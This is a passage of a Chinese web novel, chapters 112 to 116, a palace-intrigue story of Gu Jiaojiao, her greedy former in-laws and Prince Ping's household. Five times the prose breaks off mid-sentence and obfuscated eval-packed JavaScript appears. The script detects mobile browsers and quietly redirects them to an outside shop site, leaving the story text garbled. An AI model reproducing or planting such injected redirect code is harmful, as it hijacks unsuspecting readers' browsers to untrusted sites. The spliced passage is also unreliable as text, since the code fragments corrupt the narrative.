杜玉荣不禁失笑,叫侍从收下糕点,寒暄了几句便离开了此处。 马车在门外停靠已久,掀开门帘,沈云祉正于中央端坐着。 “我赶到时她已处理得十分妥帖,并未帮上忙,反倒白得了这两袋糕点。” “只是不知小王爷既然有意相助,为何不自己出面?” 沈云祉的目光落在糕点上,沉声道:“她如今对本王心有戒备本王遂了她的愿。” 杜玉荣嘴角含笑,眼底却有几分落寞:“小王爷似乎对顾姑娘很上心。” 此话一出,两人皆怔愣一瞬。 一人惊愕自己语气中的酸楚,一人恍然所作所为的浮想联翩。 “你瞧着第一楼与霓裳阁的辉煌,也该知晓本王为何对她上心。这样的奇女子,理应收入麾下才是。” 沈云祉捏开折扇,想着顾皎皎半个国库的财富,唇角不禁勾起。 杜玉荣没再多言,只将一袋糕点递了过去:“小王爷若是有兴趣,也可尝尝这第一楼的糕点,确实别有一番滋味。” 驿站。 “小云南王,你这日子属实休闲啊。”平王端坐大堂,眼前是一杯温热茶水。 沈云祉步子一顿,这才注意到驿站多了一人。他扫了一眼桌上茶盏,便知平王早已等候多时。 “今日本王进宫探望皇上,皇上还问起你如今脾性可有所收敛呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017326|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见沈云祉无意理会,平王就将皇上搬来。 “难为平王还惦记着此事。”沈云祉轻笑,坐在他面前,“本王若是当真乖顺谦逊,平王不会害怕吗?” 皇帝每每旧疾复发,只在养心殿养病谁也不见。即便他进宫是真,也不可能见到。 平王气得面色铁青:“真是可笑,本王有何可怕?” 沈云祉爽朗一笑,示意双瑞将手中信件放到平王眼前。 “若是没有记错,这孙府似乎府内郡主的来日归宿?”他语气玩味,眼神戏谑,“今日见孙府老夫人如此随和,本王倒是替王爷放心了。” “等郡主嫁过来,想来也能如此婆媳和谐,同仇敌忾。” 不等平王开口,沈云祉又开口:“何日宴席,平王可不要忘了本王。” 平王脸色阴沉难看,夺过案上迷信便拂袖而去,一刻不等。 双瑞见人离开,不解开口:“王爷这是何意?如今孙三少爷在您跟前做事,如此不也是驳了您的面子?” 沈云祉冷笑一声,勾起的嘴角多了几分邪气:“是啊,早早便提点过了,还是如此不长记性。” 别院。 青儿匆匆赶来,向徐青青福了福身:“姑娘,王爷来了,就在一旁侧室,叫您过去呢。” 徐青青拍案而起,欣喜若狂:“当真?” 她做梦都在想着父亲能带她回府,却不想梦想成真的一日竟来得如此之快,真叫人受宠若惊。 徐青青迫不及待赶到侧室,果然瞧见了平王负手而立的背影,笑意难掩。 “女儿给父亲请安!” 她心里越发笃定,神情也跟着骄傲起来。 平王妃无所出,父亲的亲生骨肉只她一人,自然是舍不得她流落受苦。 岂料她等来的并非父女相认的温情,而是一张平王气急败坏丢出来的一张信纸。 “父亲……” 徐青青连忙俯身,一目十行将信件瞧个大概,竟又是安阳侯府在外闹事。 她心底咬牙切齿,却不好发作。 第一百一十二章 虚位以待 平王怒目圆瞪,仿佛眼前的女子犯下了滔天过错。冰冷的眸子找不到一丝情分。 “你如今连本王的话都不听了吗?” 一想到沈云祉的嘲讽,心中的怒火便无处安放,怒到极处,平王大袖一挥,将桌上上好的青花瓷茶具掳到地上,以此消解。 清脆的声音在耳边炸开,一瞬间放大百倍。 徐青青下意识尖叫,捂着白嫩的容颜面色惊恐。 看着一地碎片,徐青青心脏漏跳了一拍,连忙跪地上前哽咽求饶:“父亲,女儿怎敢不听您的话呢?实在是冤枉啊!” 徐青青脑中混乱,却笃定平王还不知那日孙协兆留宿一事。如此想来,心中多了几分安心。 平王冷哼一声,心中怒火难消:“你可是还在与那孙三来往?” 从前他是不在意这些的,徐青青虽为亲生,但生母出身低贱,血统不纯也终究上不得台面。 这样的身份,能与侯府结缘也不算是桩坏事,与他无益无弊,这才默认徐青青和孙协兆的私情。 可今日不同往日,安阳侯府与一个商贾之女的婚事闹得沸沸扬扬,还叫低贱商女占了上风,在京城丢进的脸面。 这样的门第,就只能给平王府抹黑。若是王妃知晓,岂非要将他生吞活剥? 徐青青心中咯噔一下,却依然面不改色:“自从您叮嘱女儿莫要与他来往后,女儿便再也没再与他有所瓜葛。” “您才是青青最亲的人,最敬爱的父亲,我如何会不听您的话呢?” 徐青青情真意切,甚至抬手拭泪,模样委屈。 平王见她如此娇俏可人的模样,脸色稍有缓和,终于沉声允她起身。 “究竟如何,本王没有时间来探究。只是有些事情你自己也得有数,今日的好日子是如何来的,又要如何才能保住,都得小心谨慎些。” 越是看着双目通红,我见犹怜的徐青青,沈云祉的话在越是脑海中挥之不去。 平王面色阴沉,断然不能让自己的半生清誉毁在这种小事之上。 徐青青的表情挂不住,只得低头抹泪,肆意放大自己的脆弱以求怜悯。 她伸手攥住平王的衣袂柔声道:“父亲,青青自然知晓今日如何来之不易,但女儿当真再未与孙三往来。” “不过是之前不大懂事闹了笑话,这才叫人将女儿与安阳侯府牵扯在一处,但这不是女儿的错啊!” 平王心下一沉,此言在理。两人过往纠缠被人瞧见,如今悄无声息地散开,不为人知实属常事。 “你先起来吧。”平王态度稍有缓和,脸色却依旧难看,“此事因你而起,自然要由你了解。用什么法子,能有什么法子,你且自己掂量。” 徐青青姿态低伏:“是,女儿会想个法子处理妥当,断不会叫父亲您再未这种杂事叨扰。” 平王点头,终于有几分满意,抬手将人扶起:“他们如何难看本王并不在意,本王只是不想你因着这些莫须有的琐事伤了名声,迟迟不能回王府,你可能明白本王的苦心?” 安阳侯府如今在京城已成了茶余饭后的谈资,府内光景也不似当年,谁也不愿沾上关系。 可唯独出了徐青青这个变数。 回王府做郡主是她最在意的,如此也能利用着办成些事。 “父亲的用心良苦女儿自然明白,假以时日女儿就会处理好这档子事,不叫平王深陷风波。” 徐青青捏紧拳头,并未读出弦外之音,只从心底里觉得是孙协兆阻拦了她当郡主的路。 她对他虽说有几分真心,但是一切都比不上早日回王府享受权利和富贵来得痛快。 平王没再多言,只叮嘱了几句就离开了别院。 若是事情做得不干不净,郡主之位未必不能虚位以待。 徐青青目送平王离开,遮挡的眼眸越发冰冷。好在她早早与孙协兆通气不能见面,不然今日之事怕是不好收场。 既然时机不对,那便一直错下去好了。 谁也不能阻挡她成为千恩万宠的平王郡主! 第一楼。 二楼雅间,孙老夫人不顾高门礼仪,狼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017327|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吞虎咽大快朵颐。章氏和刘氏自然也不例外。 安阳侯府亏空,可有不少日子没吃过好东西了,这也是她破天荒顺从顾皎皎安排的缘由。 第一楼的菜式和味道一向了得,只是价格不菲。 如今的安阳侯府想吃一回也算得上难事。 顾皎皎推门进来,目光冰冷,看着三人不言不语。 莺儿看不下去,轻咳一声,阴阳怪气:“几位夫人还请慢些吃,莫要噎着才是。” 孙老夫人这才注意到身着素袍,气质脱俗的顾皎皎。离开侯府后,她倒是过得滋润,身形看着又圆润了些,瞧着贵气逼人。 见她如此得意,她便满腔怒火:“你倒是借着安阳侯府的气运赚了不少油水。可怜侯府这两年对你的栽培,只当是喂了狗了。” 孙老夫人端起贵妇的姿态,却忘了嘴角的油光,看起来滑稽无比。 莺儿咽不下气,就要上前理论。 顾皎皎将人拦住,缓步上前,坐到对侧的交椅上,漫不经心道:“我贵人多忘事 ,不知道老夫人指的栽培是何意?难道是这两年侯府如何大手笔的花了我一千三百万两吗?” 孙老夫人面色一红,却仍趾高气扬:“你不过是个小门小户的低贱商女罢了,若非我将管家之权交由你手,你如何偷师学艺,练成了如此经商的本事?” “人贵在感恩,你承了安阳侯府如此大的恩情,却转过头赶尽杀绝,难道不到遭报应吗?” 刘氏在一旁眼珠一转,放下汤碗开始职责:“就是,要是没有在侯府的锻炼,你怎么可能有今日成就,你需得报恩才是。” 顾皎皎不怒反笑,不轻不重地将手中茶盏放下:“我看老夫人确实已经老了。你可记得当日将管家权交出来时,你说了些什么吗?” “你说我是商贾之女,自幼便与真钱白银打交道,自是熟悉,硬要将所谓的管家之印塞过来。” 后来她才知,安阳侯府式微已久,公中账目早已不能支撑府内上下花销。这管家之权不过是方便从她口袋里拿银子。 第一百一十三章 有何可拒 顾皎皎有意一顿,又继续开口:“孙老夫人,您当日打着什么注意,需要我在此再说一遍吗?” 孙府一早就是盯着自己的嫁妆罢了。 这是她当时沉溺于父亲离开的悲伤,越发不忍辜负他临终时的安排。那时,她是真的想过要在安阳侯府踏实度日的。 孙老夫人心思被揭穿,面上挂不住,却依旧不肯低头:“自从娶了你进门,安阳侯府都被祸害成如何模样了,全都是拜你所赐!” 眼见着老夫人越发不讲道理,顾皎皎恍然大悟:“你想要多少银两。” 平静的语调打断了孙老夫人的滔滔不绝,四目相对的瞬间,老妇浑浊的眼眸闪过一瞬狡黠。 刘氏与章氏对视一眼,嘴角是压抑不住的弧度。 孙老夫人坐直了身子,拿出一份当家主母的姿态:“如今第一楼这产业我也不多说了,我也不贪图你什么,就将这两年孙府在第一楼和霓裳阁花的银子都还来便是。” 顾皎皎笑而不语,侧眸让人取来算盘和账簿。 莺儿难以置信,攥着算盘不肯松手:“姑娘?!” 刘氏不悦,剜她一眼,出言讥讽:“果然是上不得台面的低门小户,身旁的锦衣丫头都这么不讲规矩。这里都是主子说话,你插什么嘴?” 莺儿只白她一眼,完全不在意她话中嘲讽。 “无碍,我自有打算。”顾皎皎瞧她一眼,勾唇安抚,“今日咱们便好好算算安阳侯府究竟在我这花了多少银子。” 孙老夫人状似无意,却挪了屁股坐到顾皎皎身侧,忍不住抬头张望。 刘氏和章氏也抹干净嘴巴凑了过去,期待着今日能带回多少银子。 顾皎皎不紧不慢,对着账簿一笔一笔算:“安阳侯府乃高门贵族,每月府内主位都得置办衣衫头面。” “每一套便是店内头品,五百两到一千三百两不等,共三人,两年便是九万三千六百两。” “还有每月的绸缎手势,又是五万两,合计算起来十四万三千六百两。” “再看第一楼,府内每逢佳节便要请第一楼上门设宴,主桌一百两,客桌六十两,客桌三十桌,合起来便是九百五十两;两年便是四万五千六百两。” 顾皎皎越算,几人眼眸越亮。看来今日不虚此行,带着这些银子回去也是满载而归了。 注意到三人眼中的贪婪,顾皎皎粉唇又启:“这还不过是一处花销,日常老夫人也曾独立前来用膳,还有两位夫人也曾用公中银两宴请娘家。” “三位私下可都用的最上等的席面,一桌便是一百余两,七算八算也有五万四千六百两。” “什么?!”孙老夫人惊愕出声,颤抖着指着章氏刘氏,骂道,“好啊你们,平日里接济娘家我也就睁一只眼闭一只眼,没成想竟然还用府里的钱银宴请娘家,真是好大的胆子!” 刘氏心虚,怨恨地瞥了顾皎皎一眼:“母亲,每个院子里都有月例和修缮费用,我不过去预支了些……” 章氏亦点头哈腰,为自己辩解:“是啊,况且我娘家也曾帮衬过侯府不是,当时也是您说可以用公中银子犒劳一番……” 两人你一言我一语将孙老夫人气得心口发闷,好在有宋嬷嬷搀扶顺气这才没有晕死过去。 章氏刘氏不敢多言,心中早已忐忑不安。偷用府内银子之事败露,也不知还能否将那些花出去的银子拿回来。 “回去再同你们算账!”孙老夫人啐一口,侧身看向顾皎皎,语气傲慢,“那你就将这……” 顾皎皎拨动算盘:“二十四万三千八百两。” “对,二十四万三千八百两!”孙老夫人难掩眼中贪婪,“晚些时候你派人送到府上便可。” 顾皎皎并未开口,只扫了桌上的残羹剩菜一眼。 孙老夫人敏锐,立马开口撇清干系:“这顿席面可是你要做东的,莫不是反悔了要收银子?” “自然不是。”顾皎皎轻笑,将算盘推到一旁,“这顿席面早已说明了是送老夫人的,毕竟是第一楼的尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017328|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵客人。” “不光如此,您这花销在霓裳阁兑换一身中品衣衫,头面也可。不过想来老夫人眼光高,自是瞧不上那些,所以只需补半套头面的银子便可。” 孙老夫人拧着眉头:“你这话是何意?” 一旁的莺儿反应过来,低头偷笑。 顾皎皎偏头,表情无辜,一双眸子清澈明亮:“安阳侯府在小店如此大手笔,自然要算作特别贵宾,今日就算作将此事定下来了。日后你们再来第一楼或是霓裳阁,也会适当削价,给些红票也未尝不可。” 孙老夫人这才明白自己被戏耍,顾皎皎根本没有将银子归还的心思。 “好你个顾皎皎,胆敢戏耍于我!不过只是万两银钱,难不成我安阳侯府稀罕不成?今日与你说这些掏心窝子的话怕是都喂了狗了!” “你如此重利,又是个协兆不要的货色,今日得罪安阳侯府怕是不想在京中再寻人家了吧!” 孙老夫人气得心口起起伏伏,抹满胭脂的脸面隐隐发白。 顾皎皎冷眼旁观,一个眼神唤了几个小厮进来。 章氏本缩在人后藏拙,这时才惊觉 起来:“来者是客!你将这些人叫来做甚?我们可是安阳侯府的夫人!” 顾皎皎云淡风轻地抿了一口清茶:“瞧着老夫人脸色不好,着人备着去请大夫过来而已。若事态实在紧急,这些人身强体壮,也能背着老夫人求医。” 孙老夫人越发气恼,指着顾皎皎嘴角嗫嚅,顺了好一会气:“一个商贾之女,也就只能如此出息了。今日你目无尊长,在此愚弄我的事我已然记下了!” “回府!” 孙老夫人威胁的话语戛然而止,最后又不解气的留下一个警告的眼神。 顾皎皎自然视若无睹。她知晓那老虞婆打着什么算盘,不过就是等着孙协兆攀上小云南王这个高枝,再将平王郡主娶进门。 目光短浅之人便也只能依照虚无缥缈的可能来寻求内心栖息之地,她有何可惧? 第一百一十四章 闭门不见 “呸!” 莺儿朝着几人离开的方向啐了一口,厌恶得很。 “姑娘何苦和他们多费口舌,不过是些没有良心的东西。都已经和离了,还要想着过来要银子,实在是厚颜无耻。” 顾皎皎挑眉,倒是一副神清气爽的模样:“整日对着账簿多无趣,你不是也吵闹着第一楼太过忙碌,时常肩膀酸痛吗?” “眼下瞧了出的大戏,你倒又不乐意了。” 莺儿嘟着嘴,瞧不出半分喜色:“这样劳心费神还是不要来的好,倒不如在第一楼端盘子跑腿来得自在。” 顾皎皎收起笑意:“可是安阳侯府与小云南王联系密切,这其中利害不得不仔细些。” 莺儿轻叹一声:“也不知小云南王究竟是看中了孙三什么,真是叫人费解。” “这话可不能叫旁人听见。炙手可热的小云南王,你也不怕被生吞活剥。”顾皎皎出声提醒,面上却没有惧色,“将这屋子好生收拾收拾,盘子筷子不必再留着了,晦气。” 顾皎皎勾唇一笑,眼神却无比冰冷。 莺儿顿时来了兴致:“是!姑娘只交给奴婢办吧!” 安阳侯府。 下了马车,孙老夫人便直奔着院子而去,可瞧着一路的萧瑟,心中的闷气又多结了一团。 刘氏跟在身后,口中不忘添油加醋:“母亲,这顾皎皎早前在府里的时候便是个不讲规矩的,如今回了她的商贾之地,倒是越发嚣张了。” 孙老夫人剜她一眼,不为所动:“你如今倒是伶牙俐齿起来了,方才在第一楼的时候怎么不见你说半个字。” 刘氏一时语塞,面上一红拐回了自己院子。 章氏见老夫人心里存了气,也不自讨没趣,行了礼也回了住处。 主母的院子已经差人修缮了一遍,因着银子的问题也不是多仔细的工程。 屋内的陈设透着一股古朴,搬空的床榻只换了张金丝楠木的软塌。 孙老夫人赌气般坐在到贵妃榻上,将丫鬟端过来的参茶一饮而尽,久久不言。 宋嬷嬷在一旁神色担忧,轻声安抚:“老夫人,您若是心中有气不若全都使出来,可不能憋着伤了自个的身子啊?” 孙老夫人侧眸,不由得叹息一声:“与其说气,不若说恨。顾皎皎这个没眼力见的!协兆如今可是小云南王面前的红人,她也敢如此对待我!” “小云南王那是何人?那可是在圣上面前都炙手可热的!将一个顾皎皎除掉还不似碾死一只蚂蚁一般简单。” 宋嬷嬷一边拿起团扇扇风,一边出声附和:“老夫人说得是,既然她是个不惜命的,您又何必和她置气呢?保不齐何时就得罪了贵人在这京城销声匿迹了。” 这言如冬日里的暖风叫人心中畅快,堵在心中的闷气忽地四散而去,不见踪迹。 孙老夫人脑中闪过一个念头,悄无声息间嘴角挂上了阴毒的笑意。 她侧过身,多了几分迫不及待:“协兆呢?可回府了?” 宋嬷嬷摇头:“三少爷为了离小云南王近些,府内修缮的这些日子都是住在客栈的。” “快些将协兆叫回来,我有要事与他相商!”说着,孙老夫人起身走向梳妆台,摸索着最底层的夹层。 “是,奴婢这就差人去请!” 驿站。 “劳烦再通报一声吧,我是安阳侯府的孙协兆,与小云南王有要事相商。” 孙协兆在门外转了又转,这才瞧见一个巡逻的侍卫。 那人面无表情地扫他一眼,壮实的身子挡住他的去路:“早些时候便说了王爷如今没有心思见客,您又何必在此苦等?” 孙协兆心中焦急,面上隐隐几分不悦:“我在小王爷面前是能说上话的,你若真的通报,不会等了一个时辰都不见见小王爷一面。” 他只当是面前这侍卫做不好差事,耽搁了自己与小云南王相见,话语中多了几分责备。 侍卫面色不改,仍旧一副大公无私的严肃模样:“你不必在此处与我施压,小王爷吩咐了今日谁都不见,不要在此叨扰王爷宁静了。” 孙协兆不死心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017329|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还要据理力争,就见一席墨蓝色长衫的杜玉荣款步而来。 他好似瞧见了救命稻草般迎过去行礼:“见过杜大人,不知小王爷是否在屋内,属下有要事求见。” 杜玉荣面容柔和:“怕是小王爷眼下并无心思召你,还是寻个别的日子再来较为妥当。” 孙协兆终于死了心,就连杜玉荣都如此劝解,想必沈云祉如今当真没有心思见人。他心里安心下来,好在并非有意避而不见。 “敢问杜大人,小王爷是因着何事这般烦闷?” 杜玉荣轻笑一声,面上几分无奈:“小王爷与我对弈下棋,不料被我吃了两子,如此才心口郁结,不愿见人。” “两子!”孙协兆惊愕一声,“如此看来这两日小王爷都不会见我了。” 沈云祉棋艺高超,鲜少有人能在他手下有如此赢面。 他不觉得是杜玉荣技艺更胜一筹,只能说明小云南王如今被更棘手的事情扰乱了心神,才会在对局时如此大意。 至于这个中是何缘由,孙协兆不敢妄 言,但隐约觉得与皇宫有关。 “多谢杜大人提点,若非今日大人如实相告,属下怕是要被王爷厌烦了。” 杜玉荣没再多言,客套了几句便越过孙协兆的肩头离开。 他记得这张脸,不仅是因为他在沈云祉身边当差,更是因为他是顾皎皎的前夫。 沈云祉对此人的评价不多,想来不是什么有才学的人,可想起那张清冷面庞,他就忍不住多看了两眼。 杜玉荣走后,孙协兆仍旧依依不舍,又在门外徘徊几遭,才拖着酸软的双腿回了客栈。 安阳侯府的小厮就等在客房外。 见孙协兆步履蹒跚,快步上前搀扶:“三少爷,老夫人唤您回府。” “何事?”他自然不愿回去,短短几日府里是变不出银子的,“我这几日替小王爷办事,抽不开身。” 小厮不敢应从,只道:“老夫人有些焦急,说是您一定得回去。” 孙协兆咋舌,终是妥协。 第一百一十五章 她有勇有谋 安阳侯府。 孙老夫人早已候在侧室,手边叠着几张泛黄的页面,密密麻麻的黑字夹杂着一段一段朱笔痕迹。 孙协兆吊儿郎当地走了进来。连着几日都行事不顺,他实在是提不起性质摆出一副母子情深的模样。 他随意行了礼,拖着沉重的步伐往下一坐,模样疲惫。 宋嬷嬷上前斟茶,孙老夫人则是将手边的契具推上前去。 “协兆,为娘想了许久,终是觉得你的前程耽误不得。这便是我在城西钱庄存下的最后几分体己钱。” “晚些时候,我便带人将这些银钱连本带利地取回来,而后去请建方斋商议修葺事宜,定不叫你为府中活计有一丝一毫的分神。” 孙协兆心里涌出说不上来的感觉。能叫孙老夫人拿出这样多银子,她心底一定有着别的盘算。 “母亲,您可是遇上什么事了?”孙协兆试探开口。 孙老夫人目光一沉,回忆起第一楼发生的种种面色铁青,恨意更浓。 “府上现在正是缺银子的时候,我便去寻了人要债。岂料那人态度傲慢,还言辞讽刺一番,银子也未能带回半子,母亲真是无用。” 她将今日所作所为隐去,只凄凄惨惨戚戚的说着空手而归的落寞。 孙协兆蹙眉:“竟有人如此不识抬举,可为难母亲了?” 孙老夫人并未回应,只湿润着眸子紧紧握着他的手心:“协兆,那日所说的将青青早日娶回来的事由,如今安排得如何了?” 提起此事孙协兆就觉得心烦意乱:“有孕一事如何能急得了,究竟还是看天命,不过我也在尽力一试就是了。” 自从那日分别后,他也找了理由去见徐青青,奈何每一回都以事情严峻,不能叫平王府不悦为借口闭门不见。 “协兆,虽说此事急不得,但万事事在人为。”孙老夫人忽地压低声音,又示意下人将门窗合上,“我这有一道偏方,不仅能助孕,还能确保是个男孩。” 孙老夫人将褶皱的方子塞进孙协兆的手中,又小心叮嘱:“切记,这药方两用,须得大火转小火熬制,药汤内里服下;药渣也不可丢弃,捏成团敷在脖脐和腰后,需得敷足一个时辰,方可奏效。” 孙协兆原本聚精会神的听着,忽闻这一个时辰反手将药方塞了回去,无奈道:“您这不是说笑吗?此事本就是偷摸的,还要就这药方残渣敷一个时辰,青青又非痴儿,怎会不知?” 孙老夫人不顾逻辑,只做不悦:“我废了多少心神弄来这方子,还不都是为了你,为了安阳侯府?” “我难道不知这一个时辰实属苛刻吗?那你便不能趁着青青熟睡伺机行动?” 孙协兆眸子一暗收起表情:“母亲,您今日究竟去找谁要银子了?” 孙老夫人已然有几分慌不择路,必定是经历了什么。 她心悦徐青青不过也是看中了身后的平王。 平王有权有势,只是倚仗着名号也能办成许多事。 孙老夫人眼神飘忽,神色僵硬,正欲开口搪塞却对上孙协兆审视的眸子,便讪讪地噤声。 沉默片刻,她终究是破罐子破摔,将今日第一楼发生的时候都说了出来。 老夫人心中有气,此刻还不忘指责顾皎皎几句:“协兆,这顾皎皎实在欺人太甚!不过是有些银两傍身,就如此目中无人,我看也是个没出息的。” “母亲,何苦要去自降身份与一个商贾之女纠缠呢?”孙协兆心有不悦,却也说不出重话,“况且,等青青进了门,平王的嫁妆或许能将府里的院子堆得满满当当,倒是还愁没有银子花吗?” 许是想到了这般壮观的场景,孙老夫人的面色平和了许多,嘴角是压制不住的笑意。 “话虽如此,但这顾皎皎迟早是要整治的。她这个不长眼的东西,须得让她知晓得罪的是何人。” 说着,老夫人的眼中涌出阴毒。既然寒奉寺没叫她身败名裂,那便来日方长。 孙协兆看出孙老夫人的心思,出声提醒:“母亲,在我与青青的婚事尚未定下之后,切勿轻举妄动。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017330|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 孙老夫人连连点头:“那自然是。如此我才心急青青有孕之事啊,越早尘埃落定,才能越早叫顾皎皎长长记性。” 今日顾皎皎叫她在众人面前丢了面子,这口气自然是咽不下的。但眼下青青怀孕一事最要紧,她也不必在一个低贱妮子身上耽搁功夫。 “您先歇着吧,我还有要事要办。”孙协兆心中难安,起身要走。 这几日不曾见到徐青青,恐有变故,须得想个法子才是。 孙老夫人将人送至院外,又叮嘱了几句怀孕之事,硬将药房塞进了孙协兆怀里。 驿站。 客房的窗棂打开,边上的贵妃榻躺着身姿欣长,墨发如瀑的沈云祉。他双眸紧闭,面容平和,一副岁月静好的模样。 可手中折扇却来回扇着,透着此刻男人心境不稳。 “小王爷,杜大人同孙三都已走了。”双瑞端着一杯参茶进来。 沈云祉沉声应着:“嗯。” 双瑞将参茶放在榻边的矮几上,又道:“小王爷,今日第一楼又出事了。” 沈 云祉这才睁开眸子,侧眸看他。 双瑞颔首,将今日第一楼之事的来龙去脉都说了个清楚。 “不见他倒是对的,真是个沉不住气的。”沈云祉再度合眸,将折扇丢到一边,“皇上如今身子如何?” “皇上似乎还是老样子,只靠着御医开得方子养着。您可要进宫请安?” 沈云祉摇头:“这倒不必。此刻请安太过招摇,若当真叫人误会,反倒引火上身。” “本王虽不惧怕那些腌臜手段,但能悠闲度日又何苦勾心斗角你?” 双瑞躬身:“小王爷说得是。那送回云南的信便一如往常。” 沈云祉点头,抬手将人打发。 双瑞走后,他的嘴角不自觉地勾起一抹笑意。 脑中不由得浮现出一张清冷不苟言笑的容颜。 顾皎皎做什么他都不觉得意外,她有勇有谋,懂得如何护得自己周全,很好。 第一百一十六章 又如何给你承诺 是夜,孙协兆摸进了徐青青的院子。 知晓走寻常路必定又是避而不见,他便寻了处偏僻的角落翻墙而过。 别院安置的丫鬟小厮不多,一路走来很是顺畅,只到了徐青青的厢房才有两个丫头在外守着。 孙协兆环视四周,绕到屋后,观察一番后便直接破窗而入。 徐青青此刻正趴在软塌上,褪去衣衫只穿了一个亵裤和桃红色的肚兜。 青儿站在一旁伺候,不时从小巧的罐子里倒出玫瑰精油,小心地为徐青青按摩抚背。 孙协兆躬身进来,便闻得一室玫瑰香。 忽然的闷响叫内室两人探过头,见堂中多了位不速之客,青儿尖叫出声,好在孙协兆眼疾手快,上前捂住了她的嘴巴。 徐青青半坐在榻上,看着男人神情复杂。 “姑娘,发生何事了?可要奴婢们进去?”门外的丫鬟听到动静,叩门询问。 徐青青吐出一口浊气,道:“无碍,青儿笨手笨脚地将罐子打翻了。” “你这丫头,自己毛手毛腿做错了事,竟然比我还慌张,且先下去吧。” 做戏做全套,徐青青又假意责备了青儿几句,就让孙协兆放了人。 偌大的屋内只余下两人,徐青青并未开口只重新趴回原处,孙协兆心领神会,接手了青儿的活计。 男人温热的大掌抚过女子细嫩的肌肤,就着精油的顺滑细细摩挲,一时间两人都心猿意马。 孙协兆终是开口打破沉默,语调沙哑:“你怎的不问问我为何忽然过来?” 徐青青一声娇嗔:“你人都在此处了,还费那口舌做什么。” 孙协兆轻笑一声,使坏加重了力道:“连着几日你都不肯见我,只得我自己想想法子了。” “怎的变成我不愿见你了?”徐青青吃痛一声,回眸瞪他一眼,“早前便与你说了,父亲不愿我与你往来。” “你若当真是个有心思的,就不该深夜至此,而是早些将你安阳侯府的琐事都打点妥当。” “这让我在父亲面前也有说辞,总不会每每都那般无力,无法辩解。” 孙协兆垂下头,面上几分无奈:“已经着人打点了,不多时府邸就会修缮完好。” “青青,我只是好奇,你究竟何时能回平王府,我们又何时能成婚呢?” 徐青青趴回原处,不去瞧他:“此事如何是我能定夺的,自然是要等父亲的吩咐。” 此言模棱两可,听不出究竟是在回应何事。 孙协兆不死心,又寻个机会见缝插针地追问:“若是你明日便能回王府,你预备何时与平王提起你我婚事。” 徐青青已然觉得烦躁,但此刻又不好撕破脸皮。父亲那日之言已经十分清楚,若是再与安阳侯府纠缠下去,怕是自己永无成为郡主的一日。 她自知晓身世开始就在等着一天,自然不能让一个不相干的人打乱了计划,挡了她的富贵路。 “你今日这是怎么了?怎的总说些虚无缥缈的话?明日的事情谁能预料,你在此处逼迫我又有何用?” 听出徐青青的烦躁,孙协兆忙改了语气,柔声道:“青青,我只是想早些将你娶进门罢了。” “你如今已是我的人了,我自然得对你负责。” “孙郎,我自然知晓你心中有我,是个有担当的男子。可婚姻大事终究要父母之言媒妁之约,若是父亲不点头应允,我又如何给你承诺,是不是?” 徐青青起身挽住孙协兆的颈脖,眨巴着一双水汪汪的眸子,媚态十足。 孙协兆终是败下阵来,将人紧紧揽入怀中,贪婪地吮吸着萦绕在鼻尖的玫瑰香气。 “青青所言极是,是我失了分寸。只是咱们的婚事确实该提上日程了,不知青青欢喜什么样的婚礼,我着人去办,日后到了日子也不会手忙脚乱。” 孙协兆滔滔不绝,当真是一副期许的模样。 可这话听在徐青青耳中,就像是一张困住她不能回平王府的牢笼,面上的笑意再是挂不住。 